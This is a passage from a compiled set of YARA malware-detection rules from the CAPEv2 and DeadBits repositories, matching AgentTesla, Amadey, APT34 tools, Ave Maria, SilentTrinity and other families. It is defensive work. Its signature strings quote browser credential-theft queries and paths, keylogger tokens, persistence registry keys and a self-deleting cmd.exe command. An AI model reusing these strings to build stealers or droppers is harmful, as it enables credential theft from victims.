		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Seduploader.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "d70c886699169d4dafc5b063c93682a34af5667df6d293b52256ddc19ab9c516"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Seduploader Payload"
	strings:
		$decrypt1 = {8D 0C 30 C7 45 FC 0A 00 00 00 33 D2 F7 75 FC 8A 82 ?? ?? ?? ?? 32 04 0F 88 01 8B 45 0C 40 89 45 0C 3B C3 7C DB}
	condition:
		uint16( 0 ) == 0x5A4D and any of ( $decrypt* )
}

rule CAPE_Amadey : FILE
{
	meta:
		description = "Amadey Payload"
		author = "kevoreilly, YungBinary"
		id = "81d251a2-84c3-524c-8ea5-c92ca8764777"
		date = "2021-02-18"
		modified = "2025-08-15"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Amadey.yar#L1-L15"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "988258716d5296c1323303e8fe4efd7f4642c87bfdbe970fe9a3bb3f410f70a4"
		logic_hash = "5a7405a174b63826500f3b04c6f10bc9b40d5b49e85377bef027204e75dd1e9e"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Amadey Payload"
	strings:
		$decode1 = {8B D1 B8 FF FF FF 7F D1 EA 2B C2 3B C8 76 07 BB FF FF FF 7F EB 08 8D 04 0A 3B D8 0F 42 D8}
		$decode2 = {2B C8 8D 04 0A 33 D2 F7 F3 8B 5D ?? 8B CB 83 7B ?? 10}
		$decode3 = {33 D2 8B 4D ?? 8B C7 F7 F6 8A 84 3B [4] 2A 44 0A 01 88 87 [4] 47 8B 45 ?? 8D 50 01}
		$decode4 = {8A 04 02 88 04 0F 41 8B 7D ?? 8D 42 01 3B CB 7C}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Codoso : FILE
{
	meta:
		description = "Codoso Payload"
		author = "kevoreilly"
		id = "4c3d8d77-ffa9-576d-bf88-7b5a1bfd1811"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Codoso.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "32c9ed2ac29e8905266977a9ee573a252442d96fb9ec97d88642180deceec3f8"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Codoso Payload"
	strings:
		$a1 = "WHO_A_R_E_YOU?"
		$a2 = "DUDE_AM_I_SHARP-3.14159265358979"
		$a3 = "USERMODECMD"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}



rule CAPE_Zloader2025 : FILE
{
	meta:
		description = "Zloader Payload"
		author = "enzok"
		id = "dd6ee439-9599-564c-8841-94bd89ae2db0"
		date = "2020-04-04"
		modified = "2025-12-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Zloader.yar#L36-L49"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "86ffd411b42d8d06bdb294f48e79393adeea586c56c5c75c1a68ce6315932881"
		logic_hash = "cc9c39f0b5e7e8c8853982d9c896bbaac5a36bb0f501c8901d8854f2d5e1a19c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Zloader Payload"
	strings:
		$conf = {4? 01 ?? [4] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 30 00 00 00 00 8B 7E 34}
		$confkey_1 = {4? 01 ?? [2] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 34 00 00 00 00 8B 46 38}
		$confkey_2 = {4? 01 ?? [2] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 38 00 00 00 00 48 83 C4 28}
	condition:
		uint16( 0 ) == 0x5A4D and $conf and all of ( $confkey_* )
}

rule CAPE_Agenttesla : FILE
{
	meta:
		description = "AgentTesla Payload"
		author = "kevoreilly"
		id = "f7b930f1-cecb-5d80-809b-9503f282247a"
		date = "2019-10-30"
		modified = "2026-01-14"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/AgentTesla.yar#L19-L41"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "1bf9b26c4cf87e674ddffabe40aba5a45499c6a04d4ff3e43c3cda4cbcb4d188"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "AgentTesla Payload"
	strings:
		$string1 = "smtp" wide
		$string2 = "appdata" wide
		$string3 = "76487-337-8429955-22614" wide
		$string4 = "yyyy-MM-dd HH:mm:ss" wide
		$string6 = "webpanel" wide
		$string7 = "<br>UserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:" wide
		$string8 = "<br>IP Address&nbsp;&nbsp;:" wide
		$agt1 = "IELibrary.dll" ascii
		$agt2 = "C:\\Users\\Admin\\Desktop\\IELibrary\\IELibrary\\obj\\Debug\\IELibrary.pdb" ascii
		$agt3 = "GetSavedPasswords" ascii
		$agt4 = "GetSavedCookies" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $string* ) or 3 of ( $agt* ) )
}

rule CAPE_Agentteslav2 : FILE
{
	meta:
		description = "AgenetTesla Type 2 Keylogger payload"
		author = "ditekshen"
		id = "e60ecee4-0a97-56a1-b21e-47190f8cd1f8"
		date = "2019-10-30"
		modified = "2026-01-14"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/AgentTesla.yar#L43-L67"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "b45296b3b94fa1ff32de48c94329a17402461fb6696e9390565c4dba9738ed78"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "AgentTesla Payload"
	strings:
		$s1 = "get_kbHook" ascii
		$s2 = "GetPrivateProfileString" ascii
		$s3 = "get_OSFullName" ascii
		$s4 = "get_PasswordHash" ascii
		$s5 = "remove_Key" ascii
		$s6 = "FtpWebRequest" ascii
		$s7 = "logins" fullword wide
		$s8 = "keylog" fullword wide
		$s9 = "1.85 (Hash, version 2, native byte-order)" wide
		$cl1 = "Postbox" fullword ascii
		$cl2 = "BlackHawk" fullword ascii
		$cl3 = "WaterFox" fullword ascii
		$cl4 = "CyberFox" fullword ascii
		$cl5 = "IceDragon" fullword ascii
		$cl6 = "Thunderbird" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( 6 of ( $s* ) and 2 of ( $cl* ) )
}

rule CAPE_Agentteslav3 : FILE
{
	meta:
		description = "AgentTeslaV3 infostealer payload"
		author = "ditekshen"
		id = "c8ddd838-6ad4-56f3-a0cd-b890f809018c"
		date = "2019-10-30"
		modified = "2026-01-14"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/AgentTesla.yar#L69-L115"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "cc9bbbcf3608b49a76b098acf846ff03eae5e9cb107697627d62661fa1be36c2"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "AgentTesla payload"
	strings:
		$s_specific1 = "get_kbok" fullword ascii
		$s_specific2 = "get_CHoo" fullword ascii
		$s_specific3 = "KillTorProcess" fullword ascii
		$s_specific4 = "GetMozilla" ascii
		$s_specific5 = "torbrowser" wide
		$s_specific6 = "bot%telegramapi%" wide
		$s_specific7 = "%chatid%" wide
		$s_typo = "set_Lenght" fullword ascii
		$m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii
		$m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii
		$m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii
		$m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii
		$m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii
		$s_generic1 = "set_UseShellExecute" fullword ascii
		$s_generic2 = "set_IsBodyHtml" fullword ascii
		$s_generic3 = "set_AllowAutoRedirect" fullword ascii
		$s_generic4 = "set_RedirectStandardOutput" fullword ascii
	condition:
		(2 of ( $m* ) ) or ( uint16( 0 ) == 0x5a4d and ( 5 of ( $s_specific* ) or ( $s_typo and 4 of ( $s_generic* ) ) ) )
}

rule CAPE_Agentteslav4 : FILE
{
	meta:
		description = "AgentTesla Payload"
		author = "kevoreilly"
		id = "a39109ca-84cb-527d-b9c2-d8763fa6e496"
		date = "2019-10-30"
		modified = "2026-01-14"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/AgentTesla.yar#L117-L130"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "0a39036f408728ab312a54ff3354453d171424f57f9a8f3b42af867be3037ca9"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "AgentTesla Payload"
		packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c"
	strings:
		$decode1 = {(07|FE 0C 01 00) (07|FE 0C 01 00) 8E 69 (17|20 01 00 00 00) 63 8F ?? 00 00 01 25 47 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A D2 61 D2 52}
		$decode2 = {(07|FE 0C 01 00) (08|FE 0C 02 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (11 07|FE 0C 07 00) 91 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A 61 D2 61 D2 52}
		$decode3 = {(07|FE 0C 01 00) (11 07|FE 0C 07 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (08|FE 0C 02 00) 91 61 D2 52}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Squirrelwaffle : FILE
{
	meta:
		description = "No description has been set in the source file - CAPE"
		author = "kevoreilly & R3MRUM"
		id = "0ae75f24-7a2a-57d3-8c6f-a61ac6cc08e7"
		date = "2021-09-22"
		modified = "2021-10-13"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/SquirrelWaffle.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "5f799333398421d537ec7a87ca94f6cc9cf1e53e55b353036a5132440990e500"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "SquirrelWaffle Payload"
	strings:
		$code = {8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39 8D 4D ?? 0F B6 C0 50 6A 01 E8 [4] C6 45}
		$decode = {F7 75 ?? 83 7D ?? 10 8D 4D ?? 8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

/*
 * YARA Rule Set
 * Repository Name: DeadBits
 * Repository: https://github.com/deadbits/yara-rules/
 * Retrieval Date: 2026-03-15
 * Git Commit: d002f7ecee23e09142a3ac3e79c84f71dda3f001
 * Number of Rules: 11
 * Skipped: 0 (age), 12 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule DEADBITS_APT34_PICKPOCKET : APT APT34 INFOSTEALER WINMALWARE FILE
{
	meta:
		description = "Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018"
		author = "Adam Swanda"
		id = "71db5c74-4964-5c5e-a830-242bfd0a2158"
		date = "2019-07-22"
		modified = "2019-07-22"
		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_PICKPOCKET.yara#L1-L30"
		license_url = "N/A"
		logic_hash = "7063cff3eb42c4468e01c9b214161cd306f7126f66650d99d43168730d1dc83a"
		score = 75
		quality = 80
		tags = "APT, APT34, INFOSTEALER, WINMALWARE, FILE"
	strings:
		$s1 = "SELECT * FROM moz_logins;" ascii fullword
		$s2 = "\\nss3.dll" ascii fullword
		$s3 = "SELECT * FROM logins;" ascii fullword
		$s4 = "| %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" ascii fullword
		$s5 = "\\Login Data" ascii fullword
		$s6 = "%s\\Mozilla\\Firefox\\profiles.ini" ascii fullword
		$s7 = "Login Data" ascii fullword
		$s8 = "encryptedUsernamencryptedPasswor" ascii fullword
		$s10 = "%s\\Mozilla\\Firefox\\%s" ascii fullword
		$s11 = "encryptedUsername" ascii fullword
		$s12 = "2013-12-06 14:53:30 27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii fullword
		$s13 = "27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii
		$s15 = "= 'table' AND name!='sqlite_sequence'   AND coalesce(rootpage,1)>0" ascii fullword
		$s18 = "[*] FireFox :" fullword wide
		$s19 = "[*] Chrome :" fullword wide
		$s20 = "username_value" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and ( 8 of them or all of them )
}

rule DEADBITS_Winnti_Linux : LINUXMALWARE FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "d90dec69-1a8b-547c-a302-d00c612a71ed"
		date = "2019-07-18"
		modified = "2019-07-22"
		reference = "https://github.com/deadbits/yara-rules"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/winnti_linux.yara#L1-L37"
		license_url = "N/A"
		logic_hash = "216c103b4ffceaa0540b8c81645d3fd91a7dab2b32b1cf84ccb85f134c9d23c8"
		score = 75
		quality = 76
		tags = "LINUXMALWARE, FILE"
		Author = "Adam M. Swanda"
	strings:
		$str0 = "HIDE_THIS_SHELL=x"
		$str1 = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null" ascii fullword
		$str2 = "mutex.max:  %lu" ascii fullword
		$str3 = "mutex.err:  %lu" ascii fullword
		$str4 = "/tmp/ans.log" ascii fullword
		$str5 = "mutex.used: %lu" ascii fullword
		$str6 = "Warning: Some of the worker threads may have failed to exit." ascii fullword
		$str7 = "line %d - " ascii fullword
		$str8 = "Warning an error has occurred when trying to obtain a worker task." ascii fullword
		$str9 = "6CMutex" ascii fullword
		$str10 = "Failed to obtain an empty task from the free tasks queue." ascii fullword
		$str11 = "A problem was detected in the queue (expected NULL, but found a different value)." ascii fullword
		$str12 = "Failed to a task to the free tasks queue during initialization." ascii fullword
		$str13 = "/var/run/libudev1.pid" ascii fullword
		$str14 = "__pthread_key_create" ascii fullword
		$str15 = "The threadpool received as argument is NULL." ascii fullword
		$str16 = "Failed to enqueue a task to free tasks queue." ascii fullword
		$str17 = "Failed to obtain a task from the jobs queue." ascii fullword
		$str18 = "Failed to add a new task to the tasks queue." ascii fullword
		$str19 = "setsockopt  failed" ascii fullword
		$str20 = "libxselinux.so" ascii fullword
		$str21 = "/lib/libxselinux" ascii fullword
	condition:
		uint16( 0 ) == 0x457f and 8 of them
}

rule DEADBITS_Avemaria_Warzone : AVEMARIA WARZONE WINMALWARE INFOSTEALER FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "1e03927b-d59c-5e1f-bdee-e44dfb172fad"
		date = "2019-07-18"
		modified = "2019-08-08"
		reference = "https://github.com/deadbits/yara-rules"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/avemaria_warzone.yara#L1-L32"
		license_url = "N/A"
		logic_hash = "1fe55fc8ea80616b11757193c2c74b9cf577ab661ddca4c6c64cfad63a300614"
		score = 75
		quality = 80
		tags = "AVEMARIA, WARZONE, WINMALWARE, INFOSTEALER, FILE"
		Author = "Adam M. Swanda"
	strings:
		$str1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword
		$str2 = "MsgBox.exe" wide fullword
		$str4 = "\\System32\\cmd.exe" wide fullword
		$str6 = "Ave_Maria" wide
		$str7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" ascii fullword
		$str8 = "SMTP Password" wide fullword
		$str11 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide fullword
		$str12 = "\\sqlmap.dll" wide fullword
		$str14 = "SELECT * FROM logins" ascii fullword
		$str16 = "Elevation:Administrator!new" wide
		$str17 = "/n:%temp%" ascii wide
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB ) and ( 5 of ( $str* ) or all of them )
}

rule DEADBITS_Silenttrinity_Delivery_Document : FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "be8cf8b7-d7f8-587d-b7bd-ad10796cda7c"
		date = "2019-07-19"
		modified = "2019-07-19"
		reference = "https://countercept.com/blog/hunting-for-silenttrinity/"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Delivery.yara#L1-L30"
		license_url = "N/A"
		logic_hash = "1efaa317dd250fa127b134ff8e6e6ac48d1056059256f790925d2315a6865033"
		score = 75
		quality = 80
		tags = "FILE"
		Description = "Attempts to detect SilentTrinity delivery documents"
		Author = "Adam M. Swanda"
	strings:
		$s0 = "VBE7.DLL" fullword ascii
		$s1 = "TargetPivotTable" fullword ascii
		$s2 = "DocumentUserPassword" fullword wide
		$s3 = "DocumentOwnerPassword" fullword wide
		$s4 = "Scripting.FileSystemObject" fullword wide
		$s5 = "MSXML2.ServerXMLHTTP" fullword wide
		$s6 = "Win32_ProcessStartup " fullword ascii
		$s7 = "Step 3: Start looping through all worksheets" fullword ascii
		$s8 = "Step 2: Start looping through all worksheets" fullword ascii
		$s9 = "Stringer" fullword wide
		$s10 = "-decode -f" fullword wide
		$s11 = "2. Da biste pogledali dokument, molimo kliknite \"OMOGU" fullword wide
	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 200KB and ( 8 of ( $s* ) or all of them )
}

rule DEADBITS_APT34_LONGWATCH : APT34 WINMALWARE KEYLOGGER FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "74a6a408-2f0e-567d-8968-c304d258df81"
		date = "2019-07-22"
		modified = "2019-07-22"
		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_LONGWATCH.yara#L1-L43"
		license_url = "N/A"
		logic_hash = "8f9ed228325800baea3a2874c71337709c04d93419d4d56821a791dbce6f4582"
		score = 75
		quality = 78
		tags = "APT34, WINMALWARE, KEYLOGGER, FILE"
		Description = "APT34 Keylogger"
	strings:
		$log = "c:\\windows\\temp\\log.txt" ascii fullword
		$clipboard = "---------------CLIPBOARD------------" ascii fullword
		$func0 = "\"Main Invoked.\"" ascii fullword
		$func1 = "\"Main Returned.\"" ascii fullword
		$logger3 = ">---------------------------------------------------" ascii fullword
		$logger4 = "[ENTER]" ascii fullword
		$logger5 = "[CapsLock]" ascii fullword
		$logger6 = "[CRTL]" ascii fullword
		$logger7 = "[PAGE_UP]" ascii fullword
		$logger8 = "[PAGE_DOWN]" ascii fullword
		$logger9 = "[HOME]" ascii fullword
		$logger10 = "[LEFT]" ascii fullword
		$logger11 = "[RIGHT]" ascii fullword
		$logger12 = "[DOWN]" ascii fullword
		$logger13 = "[PRINT]" ascii fullword
		$logger14 = "[PRINT SCREEN]" ascii fullword
		$logger15 = "[INSERT]" ascii fullword
		$logger16 = "[SLEEP]" ascii fullword
		$logger17 = "[PAUSE]" ascii fullword
		$logger18 = "[TAB]" ascii fullword
		$logger19 = "[ESC]" ascii fullword
		$logger20 = "[DEL]" ascii fullword
		$logger21 = "[ALT]" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and $log and all of ( $func* ) and all of ( $logger* ) and $clipboard
}

rule DEADBITS_APT34_VALUEVAULT : APT34 INFOSTEALER WINMALWARE FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "11d08fe7-9080-5393-b566-6f01e3eec18b"
		date = "2019-07-22"
		modified = "2020-02-02"
		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_VALUEVAULT.yara#L1-L63"
		license_url = "N/A"
		logic_hash = "311eed153920b29b8d9e99651fe62259d685140d12bb073001e0576811a01198"
		score = 75
		quality = 78
		tags = "APT34, INFOSTEALER, WINMALWARE, FILE"
		Description = "Information stealing malware used by APT34, written in Go."
	strings:
		$fsociety = "fsociety.dat" ascii
		$powershell = "New-Object -ComObject Shell.Application" ascii
		$gobuild = "Go build ID: " ascii
		$gopath01 = "browsers-password-cracker" ascii nocase
		$gopath02 = "main.go" ascii nocase
		$gopath03 = "mozilla.go" ascii nocase
		$gopath04 = "ie.go" ascii nocase
		$str1 = "main.Decrypt" ascii fullword
		$str3 = "main.NewBlob" ascii fullword
		$str4 = "main.CheckFileExist" ascii fullword
		$str5 = "main.CopyFileToDirectory" ascii fullword
		$str6 = "main.CrackChromeBased" ascii fullword
		$str7 = "main.CrackIE" ascii fullword
		$str8 = "main.decipherPassword" ascii fullword
		$str9 = "main.DecodeUTF16" ascii fullword
		$str10 = "main.getHashTable" ascii fullword
		$str11 = "main.getHistory" ascii fullword
		$str12 = "main.getHistoryWithPowerShell" ascii fullword
		$str13 = "main.getHistoryFromRegistery" ascii fullword
		$str14 = "main.main" ascii fullword
		$str15 = "main.DecryptAESFromBase64" ascii fullword
		$str16 = "main.DecryptAES" ascii fullword
		$str17 = "main.CrackMozila" ascii fullword
		$str18 = "main.decodeLoginData" ascii fullword
		$str19 = "main.decrypt" ascii fullword
		$str20 = "main.removePadding" ascii fullword
		$str21 = "main.getLoginData" ascii fullword
		$str22 = "main.isMasterPasswordCorrect" ascii fullword
		$str23 = "main.decrypt3DES" ascii fullword
		$str24 = "main.getKey" ascii fullword
		$str25 = "main.manageMasterPassword" ascii fullword
		$str26 = "main.getFirefoxProfiles" ascii fullword
		$str27 = "main._Cfunc_DumpVault" ascii fullword
		$str28 = "main.CrackIEandEdgeNew" ascii fullword
		$str29 = "main.init.ializers" ascii fullword
		$str30 = "main.init" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 10 of ( $str* ) and 3 of ( $gopath* ) ) or ( $fsociety and $powershell and $gobuild ) or ( $fsociety and 10 of ( $str* ) ) )
}

rule DEADBITS_Dnspionage : APT DNSCHANGER FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "9f740645-60dc-5376-94ad-59d8efbf1942"
		date = "2019-07-18"
		modified = "2019-07-19"
		reference = "https://github.com/deadbits/yara-rules"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/DNSpionage.yara#L1-L47"
		license_url = "N/A"
		logic_hash = "f20c71d0698d98cc58fa199c708ec7bf5cb0ec62503a20b532e752dab9aab920"
		score = 75
		quality = 78
		tags = "APT, DNSCHANGER, FILE"
		Description = "Attempts to detect DNSpionage PE samples"
		Author = "Adam M. Swanda"
	strings:
		$x00 = "/Loginnn?id=" fullword ascii
		$hdr0 = "Content-Disposition: fo" fullword ascii
		$hdr1 = "Content-Type: multi" fullword ascii
		$ua0 = "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36" fullword ascii
		$ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" fullword ascii
		$str0 = "send command result error! status code is: " fullword ascii
		$str1 = "uploading command result form" fullword ascii
		$str2 = "log.txt" fullword ascii
		$str3 = "http host not found in config!" fullword ascii
		$str4 = "send command result" fullword ascii
		$str5 = "download error. status code: " fullword ascii
		$str6 = "get command with dns" fullword ascii
		$str7 = "dns host not found in config!" fullword ascii
		$str8 = "command result is: " fullword ascii
		$str9 = "command result size: " fullword ascii
		$str10 = "connection type not found in config!" fullword ascii
		$str11 = "commands: " fullword ascii
		$str12 = "command is: " fullword ascii
		$str13 = "port not found in config!" fullword ascii
		$str14 = "download filename not found! " fullword ascii
		$str15 = "base64 key not found in config!" fullword ascii
		$str16 = "download filename is: " fullword ascii
		$str17 = "config json is not valid" fullword ascii
		$str18 = "config file will be changed from server!" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( ( 5 of ( $str* ) ) or ( $x00 and ( 1 of ( $hdr* ) ) and 1 of ( $ua* ) ) )
}

rule DEADBITS_Silenttrinity : FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "40f9174c-e9a5-5453-b5fa-6c01c46daffa"
		date = "2019-07-19"
		modified = "2019-07-19"
		reference = "https://countercept.com/blog/hunting-for-silenttrinity/"
		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Payload.yara#L1-L55"
		license_url = "N/A"
		logic_hash = "7fd1775aadfccfdf141c0721f557e6c54b058ac17a59a8e4561dd62ab4a1eff3"
		score = 75
		quality = 78
		tags = "FILE"
		Description = "Attempts to detect the SilentTrinity malware family"
		Author = "Adam M. Swanda"
	strings:
		$pdb01 = "SILENTTRINITY.pdb" ascii
		$str01 = "Found {0} in zip" ascii fullword
		$str02 = "{0} not in zip file" ascii fullword
		$str03 = "Invalid HMAC: {0}" ascii fullword
		$str04 = "Attempting HTTP GET to {0}" ascii fullword
		$str05 = "Downloaded {0} bytes" ascii fullword
		$str06 = "Error downloading {0}: {1}" ascii fullword
		$str07 = "Attempting HTTP POST to {0}" ascii fullword
		$str08 = "POST" ascii fullword
		$str09 = "application/octet-stream" ascii fullword
		$str10 = "Error sending job results to {0}: {1}" ascii fullword
		$str11 = ".dll" ascii fullword
		$str12 = "Trying to resolve assemblies by staging zip" ascii fullword
		$str13 = "'{0}' loaded" ascii fullword
		$str14 = "Usage: SILENTTRINITY.exe <URL> [<STAGE_URL>]" ascii fullword
		$str15 = "IronPython.dll" ascii fullword
		$str16 = "IronPythonDLL" ascii fullword
		$str17 = "DEBUG" ascii fullword
		$str18 = "Main.py" ascii fullword
		$str19 = "Execute" ascii fullword
		$str20 = "SILENTTRINITY.Properties.Resources" ascii fullword
		$str21 = ".zip" ascii fullword
		$a00 = "HttpGet" ascii fullword
		$a01 = "System.Net" ascii fullword
		$a02 = "Target" ascii fullword
		$a03 = "WebClient" ascii fullword
		$a04 = "get_Current" ascii fullword
		$a05 = "Endpoint" ascii fullword
		$a06 = "AesDecrypt" ascii fullword
		$a07 = "AesEncrypt" ascii fullword
		$a08 = "cert" ascii fullword
		$a09 = "WebRequest" ascii fullword
		$a10 = "HttpPost" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 8 of ( $str* ) or ( all of ( $a* ) and $pdb01 ) or $pdb01 ) )
}

rule DEADBITS_Dacls_Trojan_Windows : FILE
{
	meta:
		description = "No description has been set in the source file - DeadBits"
		author = "Adam Swanda"
		id = "424b2c0d-2373-5a72-9a97-52b4bfc5cdcf"
		date = "2020-01-07"
		modified = "2020-01-07"
		reference = "https://github.com/deadbits/yara-rules"
